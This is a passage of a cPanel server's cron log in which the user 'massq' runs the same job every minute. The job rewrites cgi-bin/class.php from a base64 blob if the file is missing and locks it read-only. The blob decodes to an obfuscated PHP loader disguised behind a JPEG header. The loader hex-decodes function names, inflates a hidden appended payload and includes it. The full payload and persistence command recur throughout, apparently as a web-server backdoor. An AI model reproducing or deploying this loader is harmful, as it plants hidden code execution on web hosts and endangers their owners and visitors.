"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:14:01 server CROND[12795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:15:01 server CROND[12843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:15:01 server CROND[12844]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:15:01 server CROND[12845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:16:01 server CROND[12941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:17:01 server CROND[13077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:18:01 server CROND[13131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:19:01 server CROND[13184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:20:02 server CROND[13233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 21:20:02 server CROND[13236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:20:02 server CROND[13235]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:20:02 server CROND[13238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:20:02 server CROND[13237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 21:21:01 server CROND[13346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:22:01 server CROND[13389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:23:01 server CROND[13438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:24:01 server CROND[13575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:25:01 server CROND[13633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 21:25:01 server CROND[13634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 21:25:01 server CROND[13635]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 21:26:01 server CROND[13748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t